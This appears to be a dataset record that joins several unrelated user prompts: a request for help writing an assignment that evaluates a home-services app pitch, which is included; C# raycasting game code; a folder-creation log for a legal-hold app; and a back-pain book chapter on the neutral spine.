services (finance, insurance, education, healthcare and entertainment) are being digitized and becoming demonetized and democratized, available to billions on digital devices. This Metatrend is driven by the convergence of high-bandwidth/low-cost communication, ubiquitous AI on the cloud, growing access to AI-aided education, and AI-driven healthcare.' -"I need your help with my assignment. I need to evaluate a venture pitch and write a report on it. I will first provide you with the group pitch, and then the assignment instructions so you can complete my assignment to help me achieve the highest possible grade. Below is the group pitch. Reply to this with 'yes' if you understand:\n\nHelpmates: A holistic app that provides services for working professionals\n\nTable of Contents:\n1. Executive Summary\n2. The Why\n3. The Context\n4. Business Model Canvas\n5. Product-Market Positioning\n6. Business Ecosystem\n7. Financials\n8. Implementation\n9. The Ask\n\n1. Executive Summary:\nProblem Addressed:\n• Currently, most service providers operate independently, on specific platforms or by word of mouth.\n• Helpmates brings all service providers onto one, easy-access platform.\n• Consumers will benefit from an all-encompassing platform which facilitates the finding of service providers.\nThe Platform:\n• An app which connects service providers with consumers:\no Consumers view range of services and service providers\no Consumers pick providers based on profile including ratings, location and price\no Consumers can book slots or message providers\n• Mainly monetized through commissions and advertisements\nThe Launch:\n• Launch in Sydney in 2023 amongst higher income customer segments, starting for household tasks (cleaning, gardening, plumbing, carpenting, etc.)\n• View to expand rapidly into other services once a strong service provider and customer base is established.\n\n2. The Why:\nWe came up with the idea of Helpmates out of personal experiences and by witnessing a gap in the market for a holistic services app. An app like Helpmates is specifically made for working professionals who are on a time crunch offering one click solutions for all household problems. The increasing number of working professionals and the fast-paced corporate culture laid down the need for an app like Helpmates. This is the only app currently in the market that offers hassle-free solutions and booking for top certified professionals.\n\n3. The Context:\nAccording to the PESTEL AND Porter's 5 Forces analyses:\n• Australia is a fast-growing economy and citizens are always looking for ways to save time.\n• Australia is an early adopter of technology making Helpmates easy to be implemented in the society.\n• The service industry is fast paced and ever changing and an app like Helpmates can help bring a wave of change in which people use professional services.\n• The service industry has significant potential. Helpmates provides high quality services at the best prices that the market has to offer.\n\n4. Business Model Canvas:\nKey Partners:\n• Freelancers\n• Local communities\n• Small businesses\n• Software developers\nKey Activities:\n• Connect service providers with customers\n• Encourage freelancing\nKey Resources\n• Large no. of users & service providers\n• Capital\n• App developer\nCost Structure:\n• Software Development cost\n• App Operating cost\n• Marketing cost\nValue Proposition:\n• Easy and flexible service\n• Easily accessible\n• Trust\n• Creating new income/job opportunities\nCustomer Relationships:\n• Customer service\n• Feedback/ratings\nChannels:\n• LinkedIn\n• Community\n• Facebook groups\n• Social media\nCustomer Segments:\n• Service users\n• Busy professionals\n• New-to-community service providers\n• Freelancers\n• Small businesses\n• Students\nRevenue Streams:\n• Commissions\n• Advertisements\n• Service Provider Boost (to show providers on top of list)\n\n5. Product-Market Positioning:\nProblems Customers Faced:\n• One Sided Platform: Supplier-oriented only or consumer-oriented only\n• Lack of Connection: Hard to find out service suppliers or service consumers\n• Lack of Efficiency: Long waiting time for reply and service delivery\n• Diverse Channels: Various platforms for different types of service\n• Lack of Accessibility: Difficult access to the service provider\n• Lack of Supply: Lack of personal services in wider areas\nMarket Positioning:\n• Target Market:\no Personal Service (including all types of personal services)\no Initial Focus: Low-skilled + High Demand (Clean/Housekeeping,\no Cafe/Restaurant, etc.)\n• Customers Segments:\no Service Suppliers - Everyone who needs services\no Service Consumers - Everyone who is willing to provide services\n• Early Adopter Target Customers:\no Service Suppliers: Freelancers & Students\no Service Consumers: New to community & Small businesses\n• Advantages/Values:\no Inclusivity & diversity (service coverage & user coverage)\no Strengthening community connection\no Empowering users to develop skills and gain jobs\no Guaranteed for services and payments\n\n6. Business Ecosystem:\nService Suppliers:\n• Freelancers\n• Students\n• Professional Workers\n• Anyone who is willing to\nprovide services\nService Consumers:\n• Busy Professionals\n• New to Community\n• Small Businesses\n• Anyone who needs services\nPotential Partners:\n• Investment Companies\n• Consultancy Agencies\n• Technic Supporting Agencies\n• Public/Governmental Welfare Organizations\n• Local Communities\n• Pension Agencies\n• Other Non-profit Organizations\nAdvertising Channels:\n• Searching Engines: Google\n• Social Media Platforms: Facebook, Instagram, Twitter, Tiktok\n• Streaming Media Platforms: Netflix, YouTube, Amazon Prime Video, Disney+\n• News Media/Newspapers\n\n7. Financials (Assumption):\nRealistic:\n• Monthly Traffic: 15,000\n• Conversion Rate: 30%\n• Average Transaction: $200\n• Monthly Sales Revenue: $900,000\n• Commission: 8%\n• Monthly Projected Income: $72,000\n• Number of Labor Supply: 1,000\n• Percentage Starter Boost: 5%\n• Starter Boost Fee: $800\n• Monthly Starter Boost Income: $40,000\nIdeal:\n• Monthly Traffic: 30,000\n• Conversion Rate: 30%\n• Average Transaction: $200\n• Monthly Sales Revenue: $2,400,000\n• Commission: 8%\n• Monthly Projected Income: $144,000\n• Number of Labor Supply: 2,000\n• Percentage Starter Boost: 10%\n• Starter Boost Fee: $1,000\n• Monthly Starter Boost Income: $200,000\n\n8. Financials:\nRevenue (Monthly):\n• Commission (0.5% Growth Rate per month assumed): $72,000\n• Starter Boost: $40,000\n• Advertisement: $5,000\nUpfront Costs:\n• Development Cost: $30,000\n• Uptake Cost: $20,000\nMonthly Costs:\n• Operating Cost: $10,000\n• Marketing Cost: $5,000\n2024 Total Revenue:\n• Total Revenue: $703,160\no Advertisement: $5,000\no Starter Boost: $40,000\no Commission: $72,000\nRevenue Projections:\n• Jan: $52,000\n• Feb: $57,360\n• Mar: $57,722\n• Apr: $58,085\n• May: $58,451\n• Jun: $58,818\n• Jul: $59,187\n• Aug: $59,558\n• Sep: $59,931\n• Oct: $60,306\n• Nov: $60,682\n• Dec: $61,060\n\n9. Implementation:\nLean Startup Method:\n1. Assumptions:\n• Freelancers need more jobs\n• Busy working individuals need more help with house services\n• Time consuming to search for help with some services\n2. Survey (Current Status):\n• Survey the interest and needs of the target customer\n• Target working professionals, Sydney CBD, LinkedIn, and survey small business and freelancers to know if they are interested\n3. Analyze the data (April 2023):\n• Above 70% positive results \uf0e0 move ahead with MVP for all the questions\n• Less than 70% → Pivot makes changes to meet customer needs\n4. Design MVP (July 2023):\n• App with basic features\n• Small area - Sydney CBD\n• Most commonly needed services\n• Partner with freelancers to join the platform\n• Feedback Included\n• Spread the word using LinkedIn\n5. Persist/Pivot/Perish (October 2023):\n• Success Criteria: Good Feedback (80% or 4+ star rating); at least 40-50 customer signups and transactions per month for the first 2 months; good User Growth\n• PIVOT: Only 50% positive feedback or ~less than 40 Users.\n• PERISH: 70% Negative feedback or ~10 Users; no User Growth.\n\n10. Implementation (Continued):\nCurrent Status:\n• Created a survey\n• Sending the survey to currently working professionals\n• Receiving feedback and interest in our app\n• Survey on LinkedIn as it has a large number of working professionals who have busy lives and would need help to maintain their house or other home services\nMVP Test:\n• App developer\n• UX/UI designer\n• Funding through bootstrapping\n• Gain a large number of users to test the product\n\n11. The Ask (Investment Proposal):\nThe Opportunity:\n• Invest in Helpmates pre-launch\n• App to aggregate and simplify searching for a large variety of services in one easy-access platform\n• Promoting accessible casual and freelance employment\n• Simple and low cost platform with potential for large commission based earnings\nOffer:\n• Investment of $50,000 for 10% equity\nUse:\n• $30,000 investment in targeted marketing for Sydney home service providers\n• $20,000 incentives and referral bonus for launch to increase service providers\nDesired Outcome:\n• Large-scale influx of service providers in the area to increase offering for customers\nAdditional Requests:\n• Networking with digital marketing professionals\n• Networking with a SaaS CTO to help drive the and UI/UX\nNext Steps:\n• Increase service types offering (e.g. babysitting, tutoring, bartending, hairdressing, etc.)\n• Expand into new regions with initial investments and incentives to boost app uptake\n• Continue spending 30% of revenue on marketing in order to expand the business and grow users" -'using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\nusing Love;\n\nnamespace LoveCSharp\n{\n class Program : Scene\n {\n public Player player1;\n public static float deltaTime;\n static void Main(string[] args)\n {\n Boot.Init();\n Boot.Run(new Program());\n }\n public override void Load()\n {\n World.Generate(20,20);\n player1 = new Player(5, 5);\n\n // Love.Mouse.SetVisible(false);\n // Love.Mouse.SetGrabbed(true);\n Love.Mouse.SetRelativeMode(true);\n \n }\n public override void Draw()\n {\n Ray.Draw(player1.x, player1.y, Ray.distance, player1.angle, player1.fov);\n World.Draw();\n player1.Draw();\n \n }\n public override void Update(float dt)\n {\n deltaTime = dt;\n player1.Update(dt);\n Ray.Update(player1.x, player1.y, player1.angle, player1.fov);\n if (Love.Keyboard.IsDown(KeyConstant.Escape))\n {\n Love.Event.Quit();\n }\n }\n public override void MouseMoved(float x, float y, float dx, float dy, bool istouch)\n {\n player1.Rotation(dx);\n }\n }\n public enum TileType\n {\n None,\n Block,\n }\n public class World\n {\n public static int width;\n public static int height;\n public static int scale = 10;\n public static TileType[,] tiles;\n public static void Generate(int width = 20, int height = 20)\n {\n World.width = width;\n World.height = height;\n\n TileType[,] tiles = new TileType[width, height];\n\n for (int x = 0; x < width; x++)\n {\n for (int y = 0; y < height; y++)\n {\n tiles[x, y] = TileType.Block;\n }\n }\n for (int x = 0; x < width; x++)\n {\n \n for (int y = 0; y < height; y++)\n {\n if ((x > 0 && x < width - 1) && (y > 0 && y < height - 1))\n {\n tiles[x, y] = TileType.None;\n }\n }\n }\n // Generate a random number of TileType blocks in the world (tiles)\n Random random = new Random();\n int blockCount = random.Next(10, 20);\n for (int i = 0; i < blockCount; i++)\n {\n int x = random.Next(0, width);\n int y = random.Next(0, height);\n tiles[x, y] = TileType.Block;\n }\n \n World.tiles = tiles;\n }\n public static void Draw()\n {\n Graphics.SetColor(Color.White);\n Graphics.Rectangle(DrawMode.Line, 0, 0, width \\* scale, height \\* scale);\n\n Graphics.SetColor(Color.Firebrick);\n for (int x = 0; x < width; x++)\n {\n for (int y = 0; y < height; y++)\n {\n if (tiles[x, y] == TileType.Block)\n {\n Graphics.Rectangle(DrawMode.Fill, x \\* scale, y \\* scale, scale, scale);\n }\n }\n }\n }\n }\n public class Player\n {\n public float x, y, w, h, speed, angle, directionX, directionY;\n public float sensitivity = 0.3f;\n public int fov = 60;\n public Player(float x, float y, float w = 30, float h = 50, float speed = 1, float angle = 0)\n {\n this.x = x;\n this.y = y;\n this.w = w;\n this.h = h;\n this.speed = speed;\n this.angle = angle;\n }\n public void Draw()\n {\n Graphics.SetColor(Color.AliceBlue);\n Graphics.SetPointSize(3);\n Graphics.Points(this.x \\* World.scale, this.y \\* World.scale);\n Graphics.SetColor(Color.White);\n Graphics.Print("X: " + this.x + " Y: " + this.y, 0, 0);\n Graphics.Print("Angle: " + this.angle, 0, 20);\n }\n public void Update(float dt)\n {\n Movement(dt);\n\n }\n\n private void Movement(float dt)\n {\n float directionX = 0;\n float directionY = 0;\n if (Keyboard.IsDown(KeyConstant.W))\n {\n directionY = -1;\n }\n if (Keyboard.IsDown(KeyConstant.S))\n {\n directionY = 1;\n }\n if (Keyboard.IsDown(KeyConstant.A))\n {\n directionX = -1;\n }\n if (Keyboard.IsDown(KeyConstant.D))\n {\n directionX = 1;\n }\n\n float rotatedDirectionX = (float)Math.Cos(this.angle) \\* directionX - (float)Math.Sin(this.angle) \\* directionY;\n float rotatedDirectionY = (float)Math.Sin(this.angle) \\* directionX + (float)Math.Cos(this.angle) \\* directionY;\n\n float directionLength = (float)Math.Sqrt(rotatedDirectionX \\* rotatedDirectionX + rotatedDirectionY \\* rotatedDirectionY);\n if (directionLength > 0)\n {\n rotatedDirectionX /= directionLength;\n rotatedDirectionY /= directionLength;\n }\n\n this.x += rotatedDirectionX \\* this.speed \\* dt;\n this.y += rotatedDirectionY \\* this.speed \\* dt;\n }\n public void Rotation(float dx)\n {\n this.angle += dx \\* sensitivity \\* Program.deltaTime;\n \n }\n }\n public class Ray\n {\n public static float distance;\n\n public static float Cast(float x, float y, float centerAngle, float fov)\n {\n float startX = x;\n float startY = y;\n string section;\n float quality = 0.1f;\n int screenWidth = 800;\n int screenHeight = 600;\n\n for (float angle = centerAngle - fov / 2; angle < centerAngle + fov / 2; angle += Quality(fov, quality, screenWidth))\n {\n float endX = (float)(startX + Math.Cos(angle) \\* 1000);\n float endY = (float)(startY + Math.Sin(angle) \\* 1000);\n\n section = FacingSection(angle);\n\n if (section == "NE")\n {\n for (float i = startX; i < endX; i += quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "NW")\n {\n for (float i = startX; i > endX; i -= quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "SW")\n {\n for (float i = startX; i > endX; i -= quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "SE")\n {\n for (float i = startX; i < endX; i += quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n }\n return 0;\n }\n public static string FacingSection(float angle)\n {\n string facing = "";\n if (angle >= 0 && angle < Math.PI / 2)\n {\n facing = "NE";\n }\n else if (angle >= Math.PI / 2 && angle < Math.PI)\n {\n facing = "NW";\n }\n else if (angle >= Math.PI && angle < 3 \\* Math.PI / 2)\n {\n facing = "SW";\n }\n else if (angle >= 3 \\* Math.PI / 2 && angle < 2 \\* Math.PI)\n {\n facing = "SE";\n }\n return facing;\n }\n public static float Quality(float fov, float quality, float screenWidth)\n {\n \n // float angle = fov / screenWidth;\n // quality = angle / quality;\n // return quality;\n float angleBetweenRays = fov / screenWidth;\n float qualityAngle = (float)Math.Atan(quality / 2);\n float qualityAngleBetweenRays = qualityAngle / angleBetweenRays;\n return qualityAngleBetweenRays;\n }\n\n public static float Distance(float x1, float y1, float x2, float y2)\n {\n float distance = (float)Math.Sqrt((x2 - x1) \\* (x2 - x1) + (y2 - y1) \\* (y2 - y1));\n return distance;\n }\n\n public static void Draw(float x, float y, float distance, float angle, float fov)\n {\n \n float angleBetweenRays = fov / 800;\n float distanceToProjectionPlane = 800 / (2 \\* (float)Math.Tan(fov / 2));\n float distanceToWall = distance;\n float distanceToProjectionPoint = distanceToWall \\* (float)Math.Cos(angleBetweenRays);\n distanceToProjectionPlane = distanceToProjectionPoint \\* distanceToProjectionPlane / distanceToWall;\n float height = 600 / distanceToProjectionPlane;\n float width = 1;\n float color = 255 / distanceToWall;\n Graphics.SetColor(Color.FromRGBA(color, color, color, 255));\n Graphics.Rectangle(DrawMode.Fill, x, y - height / 2, width, height);\n \n\n }\n public static void Update(float x, float y, float angle, float fov)\n {\n Cast(x, y, angle, fov);\n \n \n }\n }\n}' -'same issue, got all the dir and files but wrong structure\n\nCurrent working directory: C:\\Users\\JonRowe\\Documents\\Scripts\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/index.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/LegalHoldForm.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/LegalHoldListPage.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/CustodianForm.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/CustodianListPage.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/NotificationForm.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/NotificationListPage.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/PolicyForm.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/PolicyListPage.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/AuditLogListPage.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/LegalHoldSummary.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/LegalHoldsContainer.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/CustodiansContainer.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/NotificationsContainer.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/PoliciesContainer.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/AuditLogsContainer.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/Dashboard.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/App.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/index.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/legalHold.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/custodian.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/notification.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/policy.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/auditLog.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/legalHolds.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/custodians.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/notifications.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/policies.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/auditLogs.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/legalHoldsController.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/custodiansController.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/notificationsController.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/policiesController.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/auditLogsController.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/app.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/.env\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/package.json\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/database/models/routes/controllers/.gitignore' -'CHAPTER SEVEN\n RULE #2\n Be Still So You Can Heal (The Neutral Spine)\n From Jeremy\nLet’s assume that you are beginning to get the big picture. And that you have also begun to identify the “dumb” things that you’ve been doing to wreck your back, and that you have stopped doing them. Good. Now it is time to start the healing, and that is a matter of immobilizing your lower back or lumbar spine so it can heal, after all those years of doing things that hurt it. \nThe analogy is not perfect, but think of your tortured back as being like a broken arm or leg. When you break an arm, say, the doc puts it in a stiff cast so you can’t bang it or twist it and to give it time and rest to heal. The same with your back, except we can’t do anything quite as dramatic as put you in a whole-body cast for your damaged back. What we can do is show you how to carry yourself so that you effectively immobilize your lower back. It’s not totally easy, but it will work. And bear in mind, if you do not immobilize your back, it will not heal—simple as that. Indeed, it may get worse. \nWhat do I mean by “immobilizing” your lumbar spine? I do not mean that you can’t sit or walk or have a more or less normal life. What I do mean is that you have to be really serious about maintaining a neutral spine, all the time. Maintaining a neutral spine is at the heart of your cure, and will be at the heart of your life after your cure. This is the time to learn how to achieve a neutral spine and how to maintain it all the time, even when doing various movements. \nThe spine is a meticulously engineered piece of machinery, but it has a lot of redundancy built in. By this I mean that unlike the knee or shoulder, in the spine when you have a bad joint, the surrounding structures can “help” bear the loads, and you can function more or less normally and without pain. Take the pressure of bad posture—and dumb movement patterns—off, and there is very likely enough “room” in this spine for the sufferer to have a normal life. For example, the “holes” where the nerves come out of the spine (the foramina) are still big enough for the nerves to exit, pain-free, if you’re not squeezing the area with lousy posture. In the same vein, there is probably still enough cushion in the flattened disc to support a correctly aligned spine (but not a bent or misshapen one). And so on. \n“Neutral” means the position in which the least amount of problem loads occur, all up and down the spine. The “problem loads” in some pictures we’ve shown are extreme, but even those inflamed joints and nerve roots will likely calm down if you leave them alone for a while. Which is to say, if you keep your spine in neutral. As bad as those injuries are (and as long as it took someone to create them) there is a strong chance that that sufferer can go about his or her life, with a neutral spine, in little or no pain. \nLearning to keep a neutral spine is not totally easy. And learning to maintain it all the time is harder. But this is the “cast” that lets your body heal. It is worth going to a lot of trouble to get this right. And it is a lesson that you will use for the rest of your life, long after the problem area has “healed.” \nOkay, step one is understanding the concept of neutral spine. Step two is learning to find it and lock it in place, and keep it in place forever (which we will teach you in Chapter 9).\nThe neutral spine is the position that allows your spine to do its job with the least amount of stress and load. And—if you have already damaged your back—it is the position that results in the least amount of new damage or pain.\nFor most people, the picture on the left is the neutral spine. The other two are not.\nNeutral Spine \n\nGOOD BAD\nNote the gentle curve of the lower back in the “good” spine. For the majority of you, this is how your neutral spine will look. If you have developed significant degenerative changes or were born with significant abnormalities (it happens, but not a lot), your neutral spine may look a bit different. For now assume that your neutral spine looks like one on the guy on the left. Spines vary, and you may have your own unique neutral spine that is a little different from this. Whatever your own neutral spine, that is the position you want to maintain as you go about your daily life. It is also the position in which you feel the least pain. Again, maintaining a neutral spine is a fundamental behavioral change for most people. And it is readily doable. In a few months’ time, I predict that it will be natural and you will scarcely need to think about it. One of the near-magic presences in our lives is “muscle memory.” Maintain your spine correctly for a while and muscle memory takes over. Then it is just a question of seeing to it that your muscles are strong enough to do their job. \nHow do you keep your spine neutral and still be a dynamic, moving, active human being? By learning to brace your neutral spine with your core (Chapter 9) and maximizing movement in your hips (as opposed to your lower back). As Chris mentioned in Chapter 6, one of our cardinal rules is “Thou shalt not bend or twist with thy lower back.” And you don’t need to. You can rotate from side to side and bend forward and back using your hips. You do not need to flex or twist your lower back. \nYou may ask: Isn’t range of motion important for the lumbar spine? Answer: Not really. At least, it is usually the least important factor for someone who has had significant back pain, and should be reintroduced only after pain has stopped. Most people who have experienced regular, serious back pain have already sustained significant wear and tear on the spine. The general pattern I see is a combination of two things: first, worn-down vertebral joints that are hypomobile (stiff), secondary to arthritic changes and degeneration; second, lumbar vertebral joints that are hypermobilie (loose), due to overstretched ligaments and atrophied muscles. These problems are best resolved when we protect the spine by bracing and “locking down” the lumbar spine and moving in a manner that completely changes the axis of motion from the lumbar spine to the hips and shoulder girdle. You can eventually introduce some gentle lumbar range-of-motion exercises in non-loaded ways. This is what the “Cat/Camel” exercise that we introduce later is for. Small, gentle lumbar range-of-motion exercise is necessary for things like synovial joint lubrication, the reduction of friction between vertebral segments and discs, and disc nutrition, among other things. For example, walking requires a few degrees of freedom between the lumbar vertebral joints (3 or 4 degrees rotation) with coordinated muscle contractions to enhance stabilization and supply necessary lubrication and nutrition to discs and joints. For our purposes, we recommend keeping lumbar motion to a minimum, especially until your pain is gone. Once that occurs, you should make only healthy, non-loaded, non-repetitive lumbar movements, such as those necessary for walking and the cat and camel exercise. Spinal stability, core endurance, hip mobility, and core and gluteal strength are far more important for maintaining a healthy spine once you’ve had back pain. You can do just fine in life with almost no rotation or excessive movement in your lower back. Let your hips do the work, and your risk of recurring back pain is sharply reduced. \nFinding Your Neutral Spine \nFinding your neutral spine can be a bit tricky for some but you can do it. Here’s what you do. Lie on your back with your knees bent and your feet flat on the floor. Try to relax everything in your body, and just breathe. Then let’s start by performing a pelvic tilt. \nTo do that, flatten your lower back into the floor (see top drawing), and curl your tailbone upward. This is a “posterior pelvic tilt,” if you want to put a name to it. Now, arch your back so that your lower back comes off of the floor (middle drawing), and point your tailbone toward the ground (an “anterior pelvic tilt”). Now, slowly go back and forth between those two motions a few times (bottom drawing). Find the position of your lower back between these two extremes (flattening your back or arching it) that feels the most comfortable to you, and stop there. This is your neutral spine. It may take a few tries but it’s not hard.\nFinding Your Neutral Spine\n\nStop here for a second. You have just reached an important point, and you don’t want to “lose” it. Everyone’s neutral spine is a bit different depending on the anatomical condition of their lumbar spine. For most people, there will be a gentle curve in the lower back. For those who already have some kind of a disc bulge, their neutral spine might be more arched (butt more extended). For those with spinal stenosis, their neutral spine may be a little more flattened than the one in the picture on the previous page. Don’t worry about it. Whatever feels the most comfortable for you is your neutral spine for now. In time, your neutral spine will likely become more like the “normal” picture as pain and inflammation subside.\nThink about your neutral spine and assume that position all the time until it becomes second nature—until “muscle memory” takes over. \nNext, we move on to a discussion of techniques to help you maintain a 